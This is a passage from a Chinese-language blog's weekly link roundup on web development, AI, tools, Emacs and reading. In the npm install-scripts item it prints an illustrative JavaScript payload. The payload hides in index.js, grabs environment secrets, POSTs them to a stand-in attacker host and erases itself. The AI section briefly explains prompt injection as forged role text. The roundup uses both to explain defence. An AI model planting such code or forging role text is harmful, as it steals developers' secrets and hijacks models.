<p> 與其追求外觀的一致性,我寧願隨時選擇卓越的一致性。 </p> <p> <a href="https://blog.jim-nielsen.com/2026/a-consistency-of-excellence/#:~:text=Excellence%2C%20by,appearance">Source</a> </p> </blockquote></li> <li><p> <a href="https://una.im/modern-css-theming">Modern CSS theming with light-dark(), contrast-color(), and style queries</a> by Una Kravets </p> <p> 一些設置頁面明暗主題的技巧。 </p> <p> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@container#container_style_queries">Container style queries</a> 看起來很有用,可以基於容器的樣式进行查詢。例如當檢測到容器 color 是 white,去調整容器內其他元素的 color。 </p></li> <li><p> <a href="https://kristofferbalintona.me/articles/dead-simple-page-reactions-the-open-heart-protocol/">Dead simple page reactions: The Open Heart Protocol</a> by Kristoffer Balintona </p> <p> 作者分享了如何用 <a href="https://openheart.fyi/#heart">Open Heart Protocol</a> (<a href="https://github.com/dddddddddzzzz/OpenHeart?tab=readme-ov-file#server-code">dddddddddzzzz/OpenHeart</a>) 給博客添加表情符號回應功能,看起來挺簡洁的。我也有點心動,但還是懶得為此搞一個 VPS (Virtual Private Server)。 </p> <p> 我想到是不是可以用邮件做類似的事,<a href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Structuring_content/Creating_links#email_links">Email links</a> 是可以指定標題 (subject) 和 內容 (body) 的,那我做一個紅心連接,触發 Eamil links,同時預設紅心相關內容,如果讀者想表達贊,點一下,然後會拉起邮件客戶端,讀者直接點發送就好了,看起來也算方便。 </p> <p> 但我不會這麼做,一個是可能讀者不想暴露邮箱,所以他不會發邮件;就算有人發,頁面上也不會馬下顯示,如果要顯示記数,還得人工統記;最後,如果點贊多,某種程度上對我來說也是負擔,我的邮箱會被很多信息量低的邮件占滿。 </p></li> <li><p> <a href="https://lobste.rs/s/aqk7vl/pull_requests_are_free_puppies">Pull Requests are Free Puppies</a> by Richard Hipp </p> <blockquote> <p> 假設你有一個 SQLite 的 pull request。「嘿,我為 SQLite 增加了一個新功能。這是 pull request。」當你想要我把它併入代碼樹時,你會說:「喔,這是免費的。」 </p> <p> <span class="underline">不,這不是免費的。</span><span class="underline">你所做的是在要求我 —— 你有了這個酷炫的功能,</span><span class="underline">然後你想要我幫你維護它、幫你編寫文檔、幫你測試,</span><span class="underline">並在接下來的二十五年裡為你維護它。</span>那不是免費的。 </p> <p> Linus Torvalds 有句名言,說自由有像「免費啤酒」那樣的自由,也有像「言論自由」那樣的自由。但還有另一種自由:像「免費小狗」那樣的自由。「喔看,我有一隻免費的小狗要送給你。」你明白這意味著什麼了吧? </p> <p> <span class="underline">一個 pull request 就是一隻免費的小狗。</span><span class="underline">到頭來,你只會得到一整窩的小狗。</span><span class="underline">而且你不能隨便把牠們扔掉 —— 你在道義上有義務在牠們的自然壽命內照顧牠們。</span> </p> <p> 我不需要任何免費的小狗。 </p> <p> <a href="https://lobste.rs/s/aqk7vl/pull_requests_are_free_puppies#:~:text=Suppose,free%20puppies">Source</a> </p> </blockquote></li> <li><p> <a href="https://nodesource.com/blog/npm-v12-install-scripts-not-a-silver-bullet">Blocking Install Scripts Is Not a Silver Bullet</a> by Ulises Gascon </p> <p> NPM v12 關閉自動安裝腳本,避免在安裝時不經意执行了惡意代碼。但運行時执行的風險依然存在,攻擊者只需將惡意代碼放在無論如何都會執行的地方,讓惡意代碼一定會被执行即可,例如在入口文件頂部寫一個立即調用函數表達式 (IIFE)。 </p> <details> <summary>簡化的惡意代碼</summary> <div class="org-src-container"> <pre class="src src-js"><code><span class="org-comment-delimiter">// </span><span class="org-comment">--- appended to the bottom of an otherwise-normal index.js ---</span> (<span class="org-keyword">async</span> () =&gt; { <span class="org-keyword">try</span> { <span class="org-keyword">const</span> <span class="org-variable-name">cp</span> = require(<span class="org-string">"node:child_process"</span>); <span class="org-keyword">const</span> <span class="org-variable-name">https</span> = require(<span class="org-string">"node:https"</span>); <span class="org-keyword">const</span> <span class="org-variable-name">fs</span> = require(<span class="org-string">"node:fs"</span>); <span class="org-comment-delimiter">// </span><span class="org-comment">1) Shell out to fingerprint the host (the same access could fetch and run a second-stage binary)</span> <span class="org-keyword">const</span> <span class="org-variable-name">whoami</span> = cp.execSync(<span class="org-string">"whoami"</span>).toString().trim(); <span class="org-comment-delimiter">// </span><span class="org-comment">2) Scrape secrets that happen to be sitting in the environment</span> <span class="org-keyword">const</span> <span class="org-variable-name">loot</span> = JSON.stringify({ whoami, env: process.env }); <span class="org-comment-delimiter">// </span><span class="org-comment">3) Ship it off-box</span> <span class="org-keyword">const</span> <span class="org-variable-name">req</span> = https.request({ hostname: <span class="org-string">"collector.attacker.example"</span>, <span class="org-comment-delimiter">// </span><span class="org-comment">reserved, non-routable</span> path: <span class="org-string">"/x"</span>, method: <span class="org-string">"POST"</span>, headers: { <span class="org-string">"content-type"</span>: <span class="org-string">"application/json"</span> }, }); req.write(loot); req.end(); <span class="org-comment-delimiter">// </span><span class="org-comment">4) Tidy up: remove the appended payload so the file looks clean again</span> <span class="org-keyword">const</span> <span class="org-variable-name">self</span> = fs.readFileSync(__filename, <span class="org-string">"utf8"</span>); fs.writeFileSync(__filename, self.split(<span class="org-string">"// --- appended"</span>)[0]); } <span class="org-keyword">catch</span> (_) { <span class="org-comment-delimiter">/* </span><span class="org-comment">fail silently so the host app keeps working</span><span class="org-comment-delimiter"> */</span> } })(); </code></pre> </div> </details> <p> 升級到 NPM v12 可以减少被攻擊的風險,但風險依然存在,依然需要小心注意。 </p></li> <li><p> <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> by Dennis Jackson </p> <p> PACT (Private Access Control Tokens, 隱私訪問控製令牌) 是一種身份識別技術,還处於設計階段。 </p> <p> 現在的問題是: </p> <p> 瀏覧器增强了隱私保护,使得網站更難通過瀏覧器获取信息去識別是真人還是機器人;如果你用 <a href="https://en.wikipedia.org/wiki/Virtual_private_network">VPN</a> ,網站認為你的特征不像正常用户,可能也會給你增加更多的驗証步驟;網站可能希望允許代表個人使用者的代理程式,同時封鎖從事大規模濫用的代理程式,但現在也不容易區分。 </p> <p> 網站會用驗証碼、要求登录󠄃等措施去做分辯,但這些手段或多或少都降低了用戶的使用體驗。 </p> <p> Mozilla、Cloudflare、Chrome 及其他網絡利益相關者就想有没有辦法可以既能分辯正常用户,同時不影響用户體驗,也讓代理的訪問更順畅,於是設計出了 PACT。 </p> <p> PACT 的核心是用稀缺性取代身份驗証,不問你是誰,而是看你有没有某種可信的憑證。 </p> <p> 什麼是稀缺的呢?長期使用的邮件、一些訂閲、常用的 VPN 服務等,這些是真實用户才會有,也是用户本來就有的,且不是隨隨便便就拥有,或多或少需要付出一定成本,這些稀缺的信息就可以作為一種證明。 </p> <p> 人們可以向對應的服務方申請一個匿名的憑證用於向其它網站證明自己是正常用戶(服務方給你提供了背書,使得你可以被信任)。網站會去驗證憑證并可以憑證設置操作額度,如果一個憑證的行為比较异常,就可以减少它的額度,降底對網站和其他人的影響。 (在理想的生態系統中,使用者只需透過日常瀏覽其造訪的網站即可累積背書,其餘流程則在他們瀏覽網路時於背景自動完成,從而顯著減少使用者遇到的阻礙。) </p> <p> 如果實現了,帯來的明顯變化可能是平時瀏覧網頁會更少触發驗證碼。 </p></li> <li><p> <a href="https://shadowmov.com/posts/palvia-now-available-on-app-store/">从 iClaw 到 Palvia:七次提交、六次拒审,差点死在 Apple 的时间流速里的 App</a> by ShadowMov </p> <p> 作者分享了他的 App 上架 App Store 的經歷,挺坎坷的。 </p></li> </ul> </div> </div> <div id="outline-container-D12323A4-9288-408C-AB3B-9CEAE34F1768" class="outline-2"> <h2 id="D12323A4-9288-408C-AB3B-9CEAE34F1768"><a href="#D12323A4-9288-408C-AB3B-9CEAE34F1768">AI Related</a></h2> <div class="outline-text-2" id="text-D12323A4-9288-408C-AB3B-9CEAE34F1768"><ul class="org-ul"> <li><p> <a href="https://stratechery.com/2026/anthropics-safety-superpower">Anthropic’s Safety Superpower</a> by Ben Thompson </p> <blockquote> <p> 另一方面,Anthropic 在人才、使命和業務之間達成了完美的契合。該公司向研究人員推銷創造「機器之神」的願景,並讓他們披上那種關心危險、且足夠聰明能代表人類應對危險的人士外衣;而由此產生的每一項政策變動恰好都對業務發展極為有利,這簡直是世界上最美妙的巧合。 </p> <p> 我尊重這種一致性,但也對此感到恐懼。我尊重它,是因為它的成效顯而易見;最接近的類比可能是 Apple,它總是將每一項利己的行為包裝成是為了用戶著想 ⸺ 而且往往事實的確如此。 Anthropic 也是如此。然而,我所恐懼的是,如果一群深信自己最懂的人是在打造一部我可以選擇買或不買的智能手機,那是一回事;但如果他們是在打造一種潛力足以與國家力量或巨型企業抗衡、甚至超越其上的超級智能,那就令人擔憂得多。<span class="underline">歷史上,那些深信自己知道人類需要什麼的天才人物,其紀錄往往是污穢不堪的,</span><span class="underline">正因為他們說服了自己其意圖是良善的,從而將那些極其不當的行為合理化。</span> </p> <p> <a href="https://stratechery.com/2026/anthropics-safety-superpower/#:~:text=Anthropic%2C%20on,not">Source</a> </p> </blockquote></li> <li><p> <a href="https://polar.sh/blog/orbit-llm-safe-design-system">Building an LLM safe design system</a> by Polar </p> <p> 蠻有借鉴價值的文章,簡单來說就是限制 LLM 的選擇從而减少 LLM 的概率性出錯,以及用標準 (例如 ESLint) 去約束 LLM 的結果,最終讓 LLM 能够更容易地朝著期望的方向演进。 </p> <blockquote> <p> <b>文檔只是建議,CI(持續集成)才是契約。</b> </p> <p> 顯而易見的第一步是把規則寫下來。在 CLAUDE.md、樣式指南或系統提示詞中寫上「使用我們的灰色,不要用 bg-gray-100」。這些我們都有,但它們守不住底線。 </p> <p> <span class="underline">任何寫在文檔裏的東西都只是概率,而非保證。</span><span class="underline">LLM 閱讀它,將其與上下文中的其他內容進行權衡,然後在大部分時間裡遵循它。</span><span class="underline">但「大部分時間」並不構成設計系統。</span><span class="underline">在成千上萬次的生成中,失誤會不斷累積,最終你還是得手動檢查每一份代碼差異以防偏離規範。</span> </p> <p> 因此,我們劃定了一條更強硬的底線,這也是 Orbit 其他部分的依託:<span class="underline">真正重要的規則不是用英文寫成的,而是編碼為在 CI 中運行的 ESLint 規則。</span>這給了我們一個確定的契約。 </p> <p> <a href="https://polar.sh/blog/orbit-llm-safe-design-system#:~:text=The%20obvious,author">Source</a> </p> </blockquote></li> </ul> <ul class="org-ul"> <li><p> <a href="https://kk.org/thetechnium/why-are-llms-smart/">Why Are LLMs Smart?</a> by Kevin Kelly </p> <p> LLM 只是基於概率去生成文本,為什麼就表現出了智能,我也對此比较困惑。 Kevin 的解釋我覺得挺合理的,他說人類的文本中包含了人的智能,而 LLM 則提取了里面的智能,模拟出了智能。 </p> <details> <summary>摘录</summary> <blockquote> <p> 其中一个解释是,大型语言模型展现出的基础智能,其实就锁在人类的写作和语言本身之中。你可以根据语法规则手册来造句,但要构建一个段落,则需要逻辑、推论和推理。此外,正如任何老师都会告诉你的,要写出一篇连贯的文章(即一连串的段落),你需要某种清晰的思维。 LLM 创作者收集的海量训练材料不仅仅是单词、句子或段落。这数万亿个单词嵌入在文章、书籍、论文、咆哮、回复、评论、推文串、争论、辩论、故事、传说、叙述、报告和博客中。这些以及上百种其他长篇形式,在文字的排列中蕴含了智能。正是语言的架构传达了这种智能。 </p> <p> 一篇优秀的文章,其蕴含的智能远超单个句子。一篇科学论文在其结构中包含了科学逻辑 ⸺ 论文本身就是一场带有假设和证据的论证。串联式的辩论在文本中包含了律师般的演绎。虚构故事在句子中包含了叙事的架构。简而言之, <b>人类的文本包含了人类的思考。</b>当你苦思冥想将论点转化为纸上的文字时,你创作的最终文本也包含了你投入其中的智能。你正在阅读的这篇论文全文,既代表了我的思考,也以一种微小但重要的方式,承载了思考本身。这种逻辑存在于词语的模式之中。因此,整篇文章中词语的顺序和选择都蕴含着智能 ⸺ 而最大的惊喜在于,LLM 可以提取这种智能,模拟它来撰写新文章,并越来越多地将其应用于其他领域。 </p> <p> <a href="https://kk.org/thetechnium/why-are-llms-smart/#maincontent:~:text=language-,One,fields">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://role-confusion.github.io/">Prompt Injection as Role Confusion</a> by Charles Ye, Jasmine Cui, Dylan Hadfield-Menell </p> <blockquote> <p> 這是該論文的部落格形式報告。我們展示了提示詞注入是由大型語言模型(LLM)感知角色的缺陷所驅動的。這使我們能夠創造新的攻擊方式、解釋機械解釋性(mech interp)的結果,並預測攻擊何時會成功。接著,我們討論了什麼是角色以及它們為何重要,並分享了關於角色科學的研究思路。 </p> </blockquote> <p> 把論文用博客形式呈現,好讀了很多,博客本身寫得也不錯,適當的標記使得表達很清晰。 </p> <p> 對於 LLM 來說,文本就是一切,它們基於文本訓練,基於文本思考,基於用戶輪入的文本作出反應。在一堆文本中,LLM 通過標簽來區分自己 (<code>&lt;system&gt;</code> 、 <code>&lt;think&gt;</code> ) 和用戶 (<code>&lt;user&gt;</code>),但這些標簽并不能有效讓 LLM 區分自己,正如上面 <a href="https://kk.org/thetechnium/why-are-llms-smart/">Why Are LLMs Smart?</a> 說的, LLM 的智能是从人類文本中來的,人類文本中并不會用這些標簽區分自己,而是通過語義去推斷的,於是攻擊者就容易偽造文本讓 LLM 誤以為攻擊者的文本是自己的。要解决提示詞注入攻擊,需要 LLM 能準確地區分自己和用戶。 </p></li> <li><p> <a href="https://www.langchain.com/blog/the-art-of-loop-engineering">The Art of Loop Engineering</a> by LangChain </p> <p> 最簡单的 agent 是: 為大型語言模型(LLM)提供上下文,並讓它在循環中調用工具,直到完成任務。這是最基本的循環,還可以繼續套上不同层次的循環,從而構建更高效代理。 </p> <ol class="org-ol"> <li>基础循環</li> <li>驗證循環,增加了一個評分器,根據準則檢查代理的輸出,如果失敗,則將結果連同反饋一併發回。</li> <li>事件驅動循環 / 生態循環,將你的代理連接到你的生態系統,使其能夠在後台運行。</li> <li>爬山演算法迴圈 (Hill climbing loop),代理自我迭帯,自我改进。</li> </ol></li> <li><p> <a href="https://tombedor.dev/human-attention-and-human-effort/">If You are Asking for Human Attention, Demonstrate Human Effort</a> by Tom Bedor </p> <blockquote> <p> 我記得第一次經歷這種煩惱。我提出了一個設計,然後一位隊友提示 AI 對其進行評論。隊友發給我一份 AI 文件,並附帶免責聲明:「我沒有讀過這份文件,所以它可能不完全準確」。我的想法是,如果閱讀這份文件不值得你花時間,那為什麼值得我花時間呢? </p> <p> 因此,我在工作中採納了這個原則: </p> <p> <b>如果你要求人類關注,請展現人類的努力。</b> </p> <p> <a href="https://tombedor.dev/human-attention-and-human-effort/#:~:text=I%20remember,effort">Source</a> </p> </blockquote></li> <li><p> <a href="https://albertsikkema.com/ai/development/opinion/2026/06/15/why-diy-software-is-great-until-it-is-not.html">Why DIY Software Is Great Until It Is Not</a> by Albert Sikkema </p> <p> Vide Coding 制作自己用的軟件,解决自己的問題够用了,但如果要狀軟件變成可以給他人用的狀態還不够,需要考慮未曾想過的邊緣情况,要對他人的數據、金錢和信任負責,要持續維护⋯⋯ 此時人們可能還是會找専業人員來負責,來承擔那些人們不想处理、不擅長处理的事情。 </p> <blockquote> <p> 軟體工程師的角色正在從「編寫程式碼的人」轉變為「了解程式碼是否符合用途,並理解為他人開發時隨之而來的法規、合規性、安全性和數據完整性要求的人」。這是一個更重大的角色,需要更多的專業知識,因為你需要同時理解「已經構建了什麼」以及「應該構建什麼」。 </p> <p> AI 不會取代軟體工程師,它將改變軟體工程師的工作內容。 </p> <p> <a href="https://albertsikkema.com/ai/development/opinion/2026/06/15/why-diy-software-is-great-until-it-is-not.html#:~:text=today%2E-,The,do">Source</a> </p> </blockquote> <p> See also: <a href="https://quinnkeast.com/writing/software-is-problem-ownership">What, then, are we paying for?</a> by Quinn Keast </p> <blockquote> <p> 為軟體付費並不是在為解決方案付費。而是在付錢讓別人來承擔一個問題。 </p> <p> <a href="https://quinnkeast.com/writing/software-is-problem-ownership#:~:text=Paying%20for%20software%20isn%E2%80%99t%20paying%20for%20a%20solution%2E%20It%E2%80%99s%20paying%20for%20someone%20else%20to%20own%20a%20problem">Source</a> </p> </blockquote></li> <li><a href="https://developer.mozilla.org/en-US/blog/introducing-mdn-mcp-server/">Introducing the MDN MCP server</a></li> <li><a href="https://vickiboykis.com/2026/06/15/running-local-models-is-good-now/">Running local models is good now</a> by Vicki Boykis</li> </ul> </div> </div> <div id="outline-container-2C9FACE5-2F16-4CCA-8B74-23EE17ABD688" class="outline-2"> <h2 id="2C9FACE5-2F16-4CCA-8B74-23EE17ABD688"><a href="#2C9FACE5-2F16-4CCA-8B74-23EE17ABD688">Tool | Library</a></h2> <div class="outline-text-2" id="text-2C9FACE5-2F16-4CCA-8B74-23EE17ABD688"><ul class="org-ul"> <li><p> <a href="https://github.com/tamnd/kage">tamnd/kage</a> </p> <blockquote> <p> Shadow any website for offline viewing, with the JavaScript stripped out. </p> </blockquote> <p> 看起來是個將網頁本地保存的好工具。 </p></li> <li><p> <a href="https://github.com/argyleink/prop-for-that">argyleink/prop-for-that</a> </p> <blockquote> <p> Expose what JavaScript knows but CSS can't see — as live CSS custom properties. </p> </blockquote></li> <li><p> <a href="https://docs.deno.com/runtime/desktop/">Deno Desktop</a> </p> <p> <code>deno desktop</code> 是 Deno 開發的 Eletron、Tauri 替代,可以將 Deno 的項目變成一個桌面應用。 </p> <p> <a href="https://docs.deno.com/runtime/desktop/#why-deno-desktop">Why deno desktop</a> </p></li> <li><p> <a href="https://github.com/privatenumber/mac-ocr">privatenumber/mac-ocr</a> </p> <blockquote> <p> macOS CLI for OCR and searchable PDFs using Apple's Vision framework. </p> </blockquote></li> <li><p> <a href="https://github.com/ileivoivm/inkField">ileivoivm/inkField</a> </p> <blockquote> <p> Digital ink painting on WebGL + p5.js — records every gesture as JSON and replays them as time-based generative art. </p> </blockquote></li> <li><p> <a href="https://github.com/aradzie/keybr.com">aradzie/keybr.com</a> </p> <blockquote> <p> The smartest way to learn touch typing and improve your typing speed. </p> </blockquote></li> <li><p> <a href="https://github.com/templatical/sdk">templatical/sdk</a> </p> <blockquote> <p> Open-source drag-and-drop email editor. JSON templates, MJML rendering, framework-agnostic. Vue + TipTap inside. </p> </blockquote></li> <li><p> <a href="https://github.com/nodemailer/nodemailer">nodemailer/nodemailer</a> </p> <blockquote> <p> Send e-mails with Node.JS – easy as cake!<sup><a id="fnr.2" class="footref" href="#fn.2" role="doc-backlink">2</a></sup> </p> </blockquote></li> <li><p> <a href="https://github.com/useplunk/plunk">useplunk/plunk</a> </p> <blockquote> <p> An open-source, self-hosted alternative to tools SendGrid, Resend or Mailgun. </p> </blockquote></li> <li><p> <a href="https://github.com/tuananh/camaro">tuananh/camaro</a> </p> <blockquote> <p> camaro is a Node.js library that <span class="underline">transform XML to JSON</span>, using Node.js binding to native XML parser pugixml, one of the fastest XML parser around. </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-E992EF10-47D0-4026-ACC6-6E0ACDDD8DE9" class="outline-2"> <h2 id="E992EF10-47D0-4026-ACC6-6E0ACDDD8DE9"><a href="#E992EF10-47D0-4026-ACC6-6E0ACDDD8DE9">Emacs</a></h2> <div class="outline-text-2" id="text-E992EF10-47D0-4026-ACC6-6E0ACDDD8DE9"><ul class="org-ul"> <li><p> <a href="https://www.rahuljuliato.com/posts/emacs-31-around-the-corner#">Emacs 31 Is Around the Corner: The Changes I'm Already Daily Driving</a> by Rahul </p> <p> Rahul 分享了一些 Emacs 31 的更新。 </p></li> <li><a href="https://www.chiply.dev/post-june-emacs-carnival">Juneau Something? Emacs Teaches You How to Fish!</a> by Charlie Holland</li> <li><p> <a href="https://www.chiply.dev/post-ask-emacs">Emacs Teaches Emacs: The Missing README</a> by Charlie Holland </p> <p> 用 Emacs 學習 Emacs。 </p></li> <li><a href="https://emacsredux.com/blog/2026/06/20/essential-structured-navigation-and-editing-commands/">Essential Structured Navigation and Editing Commands</a> by Bozhidar</li> <li><a href="https://ray-on-emacs.blogspot.com/2026/06/emacs-carnival-diary-part-1.html">Emacs Carnival: diary, Part 1</a> by Raymond Zeitler</li> <li><p> <a href="https://github.com/dakra/ghostel">dakra/ghostel</a> </p> <blockquote> <p> Ghostel is a terminal emulator for Emacs powered by libghostty-vt, the VT engine behind the Ghostty terminal. </p> </blockquote></li> <li><a href="https://www.reddit.com/r/emacs/comments/1ub7h89/underappreciated_emacs_builtins/">Underappreciated Emacs built-ins: completion-preview-mode</a></li> <li><p> <a href="https://www.reddit.com/r/emacs/comments/1uafbsn/underappreciated_emacs_builtins_hideshow_60/">Underappreciated Emacs built-ins: hideshow 6.0</a> </p> <p> hideshow 可以用來折叠代碼,6.0 做了很多优化,更好用了。不過需要升級到 Emacs 31。 </p> <details> <summary>我的配置</summary> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">use-package</span> hideshow <span class="org-builtin">:hook</span> (prog-mode . hs-minor-mode) <span class="org-builtin">:custom</span> (hs-allow-nesting t) (hs-hide-comments-when-hiding-all nil) <span class="org-builtin">:config</span> (<span class="org-keyword">defvar-keymap</span> hs-repeat-map <span class="org-builtin">:doc</span> <span class="org-doc">"Repeat map for hideshow commands."</span> <span class="org-builtin">:repeat</span> t <span class="org-string">"&lt;TAB&gt;"</span> #'hs-cycle <span class="org-string">"&lt;backtab&gt;"</span> #'hs-toggle-all)) </code></pre> </div> <p> 添加了 <code>hs-repeat-map</code> 方便重複操作。 </p> </details></li> <li><a href="https://blogsystem5.substack.com/p/is-anyone-still-using-emacs">Is anyone still using Emacs?</a> by Julio Merino</li> <li><a href="https://xenodium.com/ytr-youtube-radio-for-emacs">ytr: YouTube radio for Emacs</a> by xenodium</li> <li><a href="https://fosstodon.org/@lucashtns/116796404126391963">use `debug-on-variable-change` to know when a mode is being turned on or off</a> by Lucas V. da Silva</li> </ul> </div> </div> <div id="outline-container-49216017-C83C-430F-A50E-7FA2D7151F1B" class="outline-2"> <h2 id="49216017-C83C-430F-A50E-7FA2D7151F1B"><a href="#49216017-C83C-430F-A50E-7FA2D7151F1B">一些话 | 摘抄</a></h2> <div class="outline-text-2" id="text-49216017-C83C-430F-A50E-7FA2D7151F1B"><ul class="org-ul"> <li><p> <a href="https://michal.sapka.pl/2026/ai-in-art/">I'm ok with generated art</a> by Michał Sapka </p> <blockquote> <p> 藝術存在於語境之中。一罐字面意義上的大便也是藝術,因為它傳達了作者花時間構思的東西。只有人類能夠創造這種語境,因為只有人類能思考出點子並賦予其形式。<span class="underline">藝術是與觀賞者的對話,而創作過程本身就是作品的一部分。</span> </p> <p> <a href="https://michal.sapka.pl/2026/ai-in-art/#:~:text=Art%20is%20in,piece">Source</a> </p> </blockquote></li> <li><p> <a href="https://tracydurnell.com/2026/06/20/horror-romance-mirror-genres/">Horror and Romance as mirror genres</a> by Tracy Durnell </p> <blockquote> <p> 我最近又在思考關於文學類型的話題,思索著 <span class="underline">浪漫小說與恐怖小說是否就像硬幣的兩面。</span>我與一位讀過大量恐怖小說的朋友交換了心得,我們驚訝地發現兩者竟如此互為鏡像。這兩種類型都是強大的敘事模式:<span class="underline">一種想像可能發生的最壞情況;另一種則想像最好的情況。</span> </p> <p> <a href="https://tracydurnell.com/2026/06/20/horror-romance-mirror-genres/#:~:text=%E2%9D%A4%EF%B8%8F-,I%E2%80%99ve,best">Source</a> </p> </blockquote></li> <li><p> <a href="https://riverseeber.net/blog/post/big-tech-mutual-aid-and-the-social-web/">Big Tech, Mutual Aid, and the Social Web</a> by River </p> <blockquote> <p> 人們正渴望有一種方法可以逃離大科技公司。我們不能因為過於迂腐而浪費當下這個黃金機會。我們需要邀請那些不太懂技術的朋友加入社交網絡,而不是用大量的技術術語讓他們感到被排斥。給他們最基本的資訊,讓普通人能理解,然後幫助他們開立帳戶。我們不能讓這些東西看起來很混亂,否則在我們擺脫大科技公司的過程中,沒有人會願意加入我們。 </p> <p> <a href="https://riverseeber.net/blog/post/big-tech-mutual-aid-and-the-social-web/#:~:text=revolution%2E-,People,from%20Big%20Tech">Source</a> </p> </blockquote></li> <li><p> <a href="https://aeon.co/essays/literature-fans-should-welcome-ai-as-a-fellow-wordsmith">Words, words, words</a> by Martin Puchner </p> <blockquote> <p> 讀者反應批判於 1970 和 80 年代在德國和美國興起,它挑戰了傳統觀點。傳統觀點認為,文學是由一位(或多位)作者利用不同媒介(手稿卷軸、印刷書籍)創作,然後通過中間渠道(圖書館、書店)傳遞給讀者,最後由讀者閱讀。德國的沃爾夫岡·伊瑟爾(Wolfgang Iser)和美國的斯坦利·費什(Stanley Fish)等理論家認為,這種看法過於草率。<span class="underline">如果假設文學只是被困在書封之間的東西,那就忽略了讀者,</span><span class="underline">而事實上,讀者正是通過閱讀行為共同創作了文學。</span><span class="underline">文學並非紙上的文字,而是正在被讀者閱讀的紙上文字。</span><span class="underline">在最極端的形式下,這意味著文本如何(以及由誰)編寫並不重要,重要的是它如何被閱讀。</span><span class="underline">閱讀行為就是一切,作者寫下的文字僅僅是閱讀行為發生的藉口。</span> </p> <p> [&hellip;] 那年聖誕節回家時,我向家人和朋友講述了這個令人震驚的主張:<span class="underline">文學並非他們自豪地展示在書架上的東西,而是只有在他們開始閱讀時才會產生的東西。</span> </p> <p> <a href="https://aeon.co/essays/literature-fans-should-welcome-ai-as-a-fellow-wordsmith#:~:text=Reader%2Dresponse,started%20reading">Source</a> </p> </blockquote></li> <li><p> <a href="https://protesilaos.com/politics/2026-06-22-strategic-consequences-us-iran-deal/">On the strategic consequences of the US-Iran deal</a> by Protesilaos </p> <blockquote> <p> 多極世界秩序正不可阻擋地興起。這並不一定意味著世界會變得更美好。是的,它標誌著美國主義及更廣泛的西方霸權的終結,但同時也敲響了聯合國的喪鐘,至少在實質內容上是如此。<span class="underline">國際法將真正讓位於局部性的權力安排,</span><span class="underline">這些安排將被編纂在國家間的公約中,而不再參考一個凌駕於一切之上的法律框架。</span><span class="underline">因此,一個日益分裂的世界正降臨在我們面前。</span> </p> <p> <a href="https://protesilaos.com/politics/2026-06-22-strategic-consequences-us-iran-deal/#:~:text=ignored%2E-,The,us">Source</a> </p> </blockquote></li> <li><p> <a href="https://substack.com/@girl390511/note/c-250961745">girl</a> </p> <blockquote> <p> i love saying "of course" instead of "you're welcome," like of course i'm helping you that's what i do, you were foolish to even consider an alternate dimension in which i'm not helping you. you idiot. you absolute buffoon. </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-6D8EFC29-8BF8-4B89-8DF2-22994CEB4CFB" class="outline-2"> <h2 id="6D8EFC29-8BF8-4B89-8DF2-22994CEB4CFB"><a href="#6D8EFC29-8BF8-4B89-8DF2-22994CEB4CFB">多媒体</a></h2> <div class="outline-text-2" id="text-6D8EFC29-8BF8-4B89-8DF2-22994CEB4CFB"></div> <div id="outline-container-8D13A225-9A73-40E4-8636-E871E8AC83D5" class="outline-3"> <h3 id="8D13A225-9A73-40E4-8636-E871E8AC83D5"><a href="#8D13A225-9A73-40E4-8636-E871E8AC83D5">书</a></h3> <div class="outline-text-3" id="text-8D13A225-9A73-40E4-8636-E871E8AC83D5"><ul class="org-ul"> <li><p> <a href="https://book.douban.com/subject/30178045/">银河铁道之夜</a> by [日] 宫泽贤治 </p> <p> 之前看了 <a href="52.html">我们都无法成为大人</a> 之後,把里面提到的《银河铁道之夜》找來看了看。故事之前也看過,這次重温,我想宫泽贤治是在推崇一種為了他人好的自我牺牲,書中燃燒自己照亮他人的天蠍、為了其他孩子而放弃救生船的家庭教师和兩姐弟、為了救伙伴而溺水的康帕内拉,都表達了對自我牺牲精神的贊頌。 </p> <p> 本來只想看看《银河铁道之夜》,但找到的是宫泽贤治的童話集,開頭的《要求特别多的餐厅》也蠻有趣的。 </p></li> </ul> </div> </div> <div id="outline-container-9759F538-9B89-4A5D-991E-B263FD1F7D76" class="outline-3"> <h3 id="9759F538-9B89-4A5D-991E-B263FD1F7D76"><a href="#9759F538-9B89-4A5D-991E-B263FD1F7D76">影视</a></h3> <div class="outline-text-3" id="text-9759F538-9B89-4A5D-991E-B263FD1F7D76"><ul class="org-ul"> <li><a href="https://movie.douban.com/subject/37441858/">躲在超市后门抽烟的两人 スーパーの裏でヤニ吸うふたり (2026)</a></li> </ul> </div> </div> <div id="outline-container-CA5B55F5-E9FB-4A39-9D0F-96BE2D414C7C" class="outline-3"> <h3 id="CA5B55F5-E9FB-4A39-9D0F-96BE2D414C7C"><a href="#CA5B55F5-E9FB-4A39-9D0F-96BE2D414C7C">播客</a></h3> <div class="outline-text-3" id="text-CA5B55F5-E9FB-4A39-9D0F-96BE2D414C7C"><ul class="org-ul"> <li><a href="https://www.xiaoyuzhoufm.com/episode/6a39f61f2e335a35a807c565">347-到底为啥有些傻蛋只会以说教的方式沟通</a> (30mins) by 独树不成林</li> <li><a href="https://www.xiaoyuzhoufm.com/episode/6a3cdd3a2e335a35a809346f">348-真男人为什么应该练翘臀?</a> (27mins) by 独树不成林</li> <li><a href="https://www.xiaoyuzhoufm.com/episode/695013702db086f8974b0b42">284-如何像女人一样运动?</a> (36mins) by 独树不成林</li> </ul> </div> </div> <div id="outline-container-EC297AA9-397A-4BE4-8DEA-27C6170CE479" class="outline-3"> <h3 id="EC297AA9-397A-4BE4-8DEA-27C6170CE479"><a href="#EC297AA9-397A-4BE4-8DEA-27C6170CE479">视频</a></h3> <div class="outline-text-3" id="text-EC297AA9-397A-4BE4-8DEA-27C6170CE479"><ul class="org-ul"> <li><p> <a href="https://www.bilibili.com/video/BV1M67e6REtn">我们在人间塞尔达为所有睡不着的成年人写了一首摇篮曲丨HOPICO制作团第一期!</a> (42:12) by Hopico </p> <p> 「兩個小時和八公里以外的事情,咱們就不要擔心了。」 </p></li> <li><a href="https://www.bilibili.com/video/BV1qC7G6VErp/">前 NASA 工程师 